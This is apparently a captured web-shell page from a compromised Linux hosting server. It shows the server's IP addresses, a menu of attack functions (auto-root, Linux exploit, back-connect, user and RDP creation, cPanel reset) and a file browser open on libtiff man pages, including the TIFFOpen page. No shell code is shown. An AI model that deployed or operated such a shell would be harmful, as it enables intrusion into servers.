Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els11.x86_64 #1 SMP Sun Nov 3 09:06:59 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.142.201.93
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libtiff-devel-4.0.3 /
html /
man /
[ HOME SHELL ]
Name
Size
Permission
Action
TIFFClose.3tiff.html
2.42
KB
-rw-r--r--
TIFFDataWidth.3tiff.html
2.5
KB
-rw-r--r--
TIFFError.3tiff.html
3.17
KB
-rw-r--r--
TIFFFieldDataType.3tiff.html
2.13
KB
-rw-r--r--
TIFFFieldName.3tiff.html
2.08
KB
-rw-r--r--
TIFFFieldPassCount.3tiff.html
2.55
KB
-rw-r--r--
TIFFFieldReadCount.3tiff.html
2.75
KB
-rw-r--r--
TIFFFieldTag.3tiff.html
2.2
KB
-rw-r--r--
TIFFFieldWriteCount.3tiff.html
3.07
KB
-rw-r--r--
TIFFFlush.3tiff.html
3.27
KB
-rw-r--r--
TIFFGetField.3tiff.html
32.67
KB
-rw-r--r--
TIFFOpen.3tiff.html
13.38
KB
-rw-r--r--
TIFFPrintDirectory.3tiff.html
4.62
KB
-rw-r--r--
TIFFRGBAImage.3tiff.html
12.02
KB
-rw-r--r--
TIFFReadDirectory.3tiff.html
7.91
KB
-rw-r--r--
TIFFReadEncodedStrip.3tiff.htm...
4.2
KB
-rw-r--r--
TIFFReadEncodedTile.3tiff.html
4.04
KB
-rw-r--r--
TIFFReadRGBAImage.3tiff.html
10.24
KB
-rw-r--r--
TIFFReadRGBAStrip.3tiff.html
7.31
KB
-rw-r--r--
TIFFReadRGBATile.3tiff.html
8.28
KB
-rw-r--r--
TIFFReadRawStrip.3tiff.html
3.26
KB
-rw-r--r--
TIFFReadRawTile.3tiff.html
3.34
KB
-rw-r--r--
TIFFReadScanline.3tiff.html
5.13
KB
-rw-r--r--
TIFFReadTile.3tiff.html
4.18
KB
-rw-r--r--
TIFFSetDirectory.3tiff.html
3.74
KB
-rw-r--r--
TIFFSetField.3tiff.html
30.36
KB
-rw-r--r--
TIFFWarning.3tiff.html
3.27
KB
-rw-r--r--
TIFFWriteDirectory.3tiff.html
6.33
KB
-rw-r--r--
TIFFWriteEncodedStrip.3tiff.ht...
4.97
KB
-rw-r--r--
TIFFWriteEncodedTile.3tiff.htm...
4.78
KB
-rw-r--r--
TIFFWriteRawStrip.3tiff.html
4.41
KB
-rw-r--r--
TIFFWriteRawTile.3tiff.html
3.88
KB
-rw-r--r--
TIFFWriteScanline.3tiff.html
7.21
KB
-rw-r--r--
TIFFWriteTile.3tiff.html
3.55
KB
-rw-r--r--
TIFFbuffer.3tiff.html
3.79
KB
-rw-r--r--
TIFFcodec.3tiff.html
3.61
KB
-rw-r--r--
TIFFcolor.3tiff.html
22.23
KB
-rw-r--r--
TIFFmemory.3tiff.html
3.49
KB
-rw-r--r--
TIFFquery.3tiff.html
5.04
KB
-rw-r--r--
TIFFsize.3tiff.html
2.68
KB
-rw-r--r--
TIFFstrip.3tiff.html
4.25
KB
-rw-r--r--
TIFFswab.3tiff.html
3.41
KB
-rw-r--r--
TIFFtile.3tiff.html
4.9
KB
-rw-r--r--
bmp2tiff.1.html
3.49
KB
-rw-r--r--
fax2ps.1.html
7.56
KB
-rw-r--r--
fax2tiff.1.html
14.37
KB
-rw-r--r--
gif2tiff.1.html
3.8
KB
-rw-r--r--
index.html
3.7
KB
-rw-r--r--
libtiff.3tiff.html
24
KB
-rw-r--r--
pal2rgb.1.html
5.12
KB
-rw-r--r--
ppm2tiff.1.html
3.89
KB
-rw-r--r--
ras2tiff.1.html
3.96
KB
-rw-r--r--
raw2tiff.1.html
12.45
KB
-rw-r--r--
rgb2ycbcr.1.html
4.14
KB
-rw-r--r--
thumbnail.1.html
3.97
KB
-rw-r--r--
tiff2bw.1.html
3.96
KB
-rw-r--r--
tiff2pdf.1.html
17.52
KB
-rw-r--r--
tiff2ps.1.html
12.77
KB
-rw-r--r--
tiff2rgba.1.html
4.48
KB
-rw-r--r--
tiffcmp.1.html
4.3
KB
-rw-r--r--
tiffcp.1.html
14.98
KB
-rw-r--r--
tiffcrop.1.html
19.92
KB
-rw-r--r--
tiffdither.1.html
5.43
KB
-rw-r--r--
tiffdump.1.html
4.31
KB
-rw-r--r--
tiffinfo.1.html
4.35
KB
-rw-r--r--
tiffmedian.1.html
5.03
KB
-rw-r--r--
tiffset.1.html
4.8
KB
-rw-r--r--
tiffsplit.1.html
2.86
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TIFFOpen.3tiff.html
<!-- Creator : groff version 1.18.1 --> <!-- CreationDate: Sat Feb 24 18:37:16 2007 --> <html> <head> <meta name="generator" content="groff -Thtml, see www.gnu.org"> <meta name="Content-Style" content="text/css"> <title>TIFFOpen</title> </head> <body> <h1 align=center>TIFFOpen</h1> <a href="#NAME">NAME</a><br> <a href="#SYNOPSIS">SYNOPSIS</a><br> <a href="#DESCRIPTION">DESCRIPTION</a><br> <a href="#OPTIONS">OPTIONS</a><br> <a href="#BYTE ORDER">BYTE ORDER</a><br> <a href="#RETURN VALUES">RETURN VALUES</a><br> <a href="#DIAGNOSTICS">DIAGNOSTICS</a><br> <a href="#SEE ALSO">SEE ALSO</a><br> <hr> <a name="NAME"></a> <h2>NAME</h2> <!-- INDENTATION --> <table width="100%" border=0 rules="none" frame="void" cols="2" cellspacing="0" cellpadding="0"> <tr valign="top" align="left"> <td width="8%"></td> <td width="91%"> <p>TIFFOpen, TIFFFdOpen, TIFFClientOpen − open a <small>TIFF</small> file for reading or writing</p> </td> </table> <a name="SYNOPSIS"></a> <h2>SYNOPSIS</h2> <!-- INDENTATION --> <table width="100%" border=0 rules="none" frame="void" cols="2" cellspacing="0" cellpadding="0"> <tr valign="top" align="left"> <td width="8%"></td> <td width="91%"> <p><b>#include <tiffio.h></b></p> <!-- INDENTATION --> <p><b>TIFF* TIFFOpen(const char *</b><i>filename</i><b>, const char *</b><i>mode</i><b>)<br> TIFF* TIFFFdOpen(const int</b> <i>fd</i><b>, const char *</b><i>filename</i><b>, const char *</b><i>mode</i><b>)</b></p> <!-- INDENTATION --> <p><b>typedef tsize_t (*TIFFReadWriteProc)(thandle_t, tdata_t, tsize_t);<br> typedef toff_t (*TIFFSeekProc)(thandle_t, toff_t, int);<br> typedef int (*TIFFCloseProc)(thandle_t);<br> typedef toff_t (*TIFFSizeProc)(thandle_t);<br> typedef int (*TIFFMapFileProc)(thandle_t, tdata_t*, toff_t*);<br> typedef void (*TIFFUnmapFileProc)(thandle_t, tdata_t, toff_t);</b></p> <!-- INDENTATION --> <p><b>TIFF* TIFFClientOpen(const char *</b><i>filename</i><b>, const char *</b><i>mode</i><b>, thandle_t</b> <i>clientdata</i><b>, TIFFReadWriteProc</b> <i>readproc</i><b>, TIFFReadWriteProc</b> <i>writeproc</i><b>, TIFFSeekProc</b> <i>seekproc</i><b>, TIFFCloseProc</b> <i>closeproc</i><b>, TIFFSizeProc</b> <i>sizeproc</i><b>, TIFFMapFileProc</b> <i>mapproc</i><b>, TIFFUnmapFileProc</b> <i>unmapproc</i><b>)</b></p> </td> </table> <a name="DESCRIPTION"></a> <h2>DESCRIPTION</h2> <!-- INDENTATION --> <table width="100%" border=0 rules="none" frame="void" cols="2" cellspacing="0" cellpadding="0"> <tr valign="top" align="left"> <td width="8%"></td> <td width="91%"> <p><i>TIFFOpen</i> opens a <small>TIFF</small> file whose name is <i>filename</i> and returns a handle to be used in subsequent calls to routines in <i>libtiff</i>. If the open operation fails, then zero is returned. The <i>mode</i> parameter specifies if the file is to be opened for reading (‘‘r’’), writing (‘‘w’’), or appending (‘‘a’’) and, optionally, whether to override certain default aspects of library operation (see below). When a file is opened for appending, existing data will not be touched; instead new data will be written as additional subfiles. If an existing file is opened for writing, all previous data is overwritten.</p> <!-- INDENTATION --> <p>If a file is opened for reading, the first <small>TIFF</small> directory in the file is automatically read (also see <i>TIFFSetDirectory</i>(3TIFF) for reading directories other than the first). If a file is opened for writing or appending, a default directory is automatically created for writing subsequent data. This directory has all the default values specified in <small>TIFF</small> Revision 6.0: <i>BitsPerSample</i>=1, <i>ThreshHolding</i>=bilevel art scan, <i>FillOrder</i>=1 (most significant bit of each data byte is filled first), <i>Orientation</i>=1 (the 0th row represents the visual top of the image, and the 0th column represents the visual left hand side), <i>SamplesPerPixel</i>=1, <i>RowsPerStrip</i>=infinity, <i>ResolutionUnit</i>=2 (inches), and <i>Compression</i>=1 (no compression). To alter these values, or to define values for additional fields, <i>TIFFSetField</i>(3TIFF) must be used.</p> <!-- INDENTATION --> <p><i>TIFFFdOpen</i> is like <i>TIFFOpen</i> except that it opens a <small>TIFF</small> file given an open file descriptor <i>fd</i>. The file’s name and mode must reflect that of the open descriptor. The object associated with the file descriptor <b>must support random access</b>.</p> <!-- INDENTATION --> <p><i>TIFFClientOpen</i> is like <i>TIFFOpen</i> except that the caller supplies a collection of functions that the library will use to do <small>UNIX</small> -like I/O operations. The <i>readproc</i> and <i>writeproc</i> are called to read and write data at the current file position. <i>seekproc</i> is called to change the current file position a la <i>lseek</i>(2). <i>closeproc</i> is invoked to release any resources associated with an open file. <i>sizeproc</i> is invoked to obtain the size in bytes of a file. <i>mapproc</i> and <i>unmapproc</i> are called to map and unmap a file’s contents in memory; c.f. <i>mmap</i>(2) and <i>munmap</i>(2). The <i>clientdata</i> parameter is an opaque ‘‘handle’’ passed to the client-specified routines passed as parameters to <i>TIFFClientOpen</i>.</p> </td> </table> <a name="OPTIONS"></a> <h2>OPTIONS</h2> <!-- INDENTATION --> <table width="100%" border=0 rules="none" frame="void" cols="2" cellspacing="0" cellpadding="0"> <tr valign="top" align="left"> <td width="8%"></td> <td width="91%"> <p>The open mode parameter can include the following flags in addition to the ‘‘r’’, ‘‘w’’, and ‘‘a’’ flags. Note however that option flags must follow the read-write-append specification.</p> </td> </table> <!-- TABS --> <table width="100%" border=0 rules="none" frame="void" cols="5" cellspacing="0" cellpadding="0"> <tr valign="top" align="left"> <td width="10%"></td> <td width="2%"> <p><b>l</b></p> </td> <td width="6%"></td> <td width="80%"> <p>When creating a new file force information be written with Little-Endian byte order (but see below). By default the library will create new files using the native <small>CPU</small> byte order.</p> </td> <td width="0%"> </td> <tr valign="top" align="left"> <td width="10%"></td> <td width="2%"> <p><b>b</b></p> </td> <td width="6%"></td> <td width="80%"> <p>When creating a new file force information be written with Big-Endian byte order (but see below). By default the library will create new files using the native <small>CPU</small> byte order.</p> </td> <td width="0%"> </td> <tr valign="top" align="left"> <td width="10%"></td> <td width="2%"> <p><b>L</b></p> </td> <td width="6%"></td> <td width="80%"> <p>Force image data that is read or written to be treated with bits filled from Least Significant Bit ( <small>LSB</small> ) to Most Significant Bit ( <small>MSB</small> ). Note that this is the opposite to the way the library has worked from its inception.</p> </td> <td width="0%"> </td> <tr valign="top" align="left"> <td width="10%"></td> <td width="2%"> <p><b>B</b></p> </td> <td width="6%"></td> <td width="80%"> <p>Force image data that is read or written to be treated with bits filled from Most Significant Bit ( <small>MSB</small> ) to Least Significant Bit ( <small>LSB</small> ); this is the default.</p> </td> <td width="0%"> </td> <tr valign="top" align="left"> <td width="10%"></td> <td width="2%"> <p><b>H</b></p> </td> <td width="6%"></td> <td width="80%"> <p>Force image data that is read or written to be treated with bits filled in the same order as the native <small>CPU.</small></p> </td> <td width="0%"> </td> <tr valign="top" align="left"> <td width="10%"></td> <td width="2%"> <p><b>M</b></p> </td> <td width="6%"></td> <td width="80%"> <p>Enable the use of memory-mapped files for images opened read-only. If the underlying system does not support memory-mapped files or if the specific image being opened cannot be memory-mapped then the library will fallback to using the normal system interface for reading information. By default the library will attempt to use memory-mapped files.</p> </td> <td width="0%"> </td> <tr valign="top" align="left"> <td width="10%"></td> <td width="2%"> <p><b>m</b></p> </td> <td width="6%"></td> <td width="80%"> <p>Disable the use of memory-mapped files.</p> </td> <td width="0%"> </td> <tr valign="top" align="left"> <td width="10%"></td> <td width="2%"> <p><b>C</b></p> </td> <td width="6%"></td> <td width="80%"> <p>Enable the use of ‘‘strip chopping’’ when reading images that are comprised of a single strip or tile of uncompressed data. Strip chopping is a mechanism by which the library will automatically convert the single-strip image to multiple strips, each of which has about 8 Kilobytes of data. This facility can be useful in reducing the amount of memory used to read an image because the library normally reads each strip in its entirety. Strip chopping does however alter the apparent contents of the image because when an image is divided into multiple strips it looks as though the underlying file contains multiple separate strips. Finally, note that default handling of strip chopping is a compile-time configuration parameter. The default behaviour, for backwards compatibility, is to enable strip chopping.</p> </td> <td width="0%"> </td> <tr valign="top" align="left"> <td width="10%"></td> <td width="2%"> <p><b>c</b></p> </td> <td width="6%"></td> <td width="80%"> <p>Disable the use of strip chopping when reading images.</p> </td> <td width="0%"> </td> <tr valign="top" align="left"> <td width="10%"></td> <td width="2%"> <p><b>h</b></p> </td> <td width="6%"></td> <td width="80%"> <p>Read TIFF header only, do not load the first image directory. That could be useful in case of the broken first directory. We can open the file and proceed to the other directories.</p> </td> <td width="0%"> </td> </table> <a name="BYTE ORDER"></a> <h2>BYTE ORDER</h2> <!-- INDENTATION --> <table width="100%" border=0 rules="none" frame="void" cols="2" cellspacing="0" cellpadding="0"> <tr valign="top" align="left"> <td width="8%"></td> <td width="91%"> <p>The <small>TIFF</small> specification (<b>all versions</b>) states that compliant readers <i>must be capable of reading images written in either byte order</i>. Nonetheless some software that claims to support the reading of <small>TIFF</small> images is incapable of reading images in anything but the native <small>CPU</small> byte order on which the software was written. (Especially notorious are applications written to run on Intel-based machines.) By default the library will create new files with the native byte-order of the <small>CPU</small> on which the application is run. This ensures optimal performance and is portable to any application that conforms to the TIFF specification. To force the library to use a specific byte-order when creating a new file the ‘‘b’’ and ‘‘l’’ option flags may be included in the call to open a file; for example, ‘‘wb’’ or ‘‘wl’’.</p> </td> </table> <a name="RETURN VALUES"></a> <h2>RETURN VALUES</h2> <!-- INDENTATION --> <table width="100%" border=0 rules="none" frame="void" cols="2" cellspacing="0" cellpadding="0"> <tr valign="top" align="left"> <td width="8%"></td> <td width="91%"> <p>Upon successful completion <i>TIFFOpen</i>, <i>TIFFFdOpen</i>, and <i>TIFFClientOpen</i> return a <small>TIFF</small> pointer. Otherwise, NULL is returned.</p> </td> </table> <a name="DIAGNOSTICS"></a> <h2>DIAGNOSTICS</h2> <!-- INDENTATION --> <table width="100%" border=0 rules="none" frame="void" cols="2" cellspacing="0" cellpadding="0"> <tr valign="top" align="left"> <td width="8%"></td> <td width="91%"> <p>All error messages are directed to the <i>TIFFError</i>(3TIFF) routine. Likewise, warning messages are directed to the <i>TIFFWarning</i>(3TIFF) routine.</p> <!-- INDENTATION --> <p><b>"%s": Bad mode</b>. The specified <i>mode</i> parameter was not one of ‘‘r’’ (read), ‘‘w’’ (write), or ‘‘a’’ (append).</p> <!-- INDENTATION --> <p><b>%s: Cannot open</b>. <i>TIFFOpen</i>() was unable to open the specified filename for read/writing.</p> <!-- INDENTATION --> <p><b>Cannot read TIFF header</b>. An error occurred while attempting to read the header information.</p> <!-- INDENTATION --> <p><b>Error writing TIFF header</b>. An error occurred while writing the default header information for a new file.</p> <!-- INDENTATION --> <p><b>Not a TIFF file, bad magic number %d (0x%x)</b>. The magic number in the header was not (hex) 0x4d4d or (hex) 0x4949.</p> <!-- INDENTATION --> <p><b>Not a TIFF file, bad version number %d (0x%x)</b>. The version field in the header was not 42 (decimal).</p> <!-- INDENTATION --> <p><b>Cannot append to file that has opposite byte ordering</b>. A file with a byte ordering opposite to the native byte ordering of the current machine was opened for appending (‘‘a’’). This is a limitation of the library.</p> </td> </table> <a name="SEE ALSO"></a> <h2>SEE ALSO</h2> <!-- INDENTATION --> <table width="100%" border=0 rules="none" frame="void" cols="2" cellspacing="0" cellpadding="0"> <tr valign="top" align="left"> <td width="8%"></td> <td width="91%"> <p><i>libtiff</i>(3TIFF), <i>TIFFClose</i>(3TIFF)</p> </td> </table> <hr> </body> </html>
Close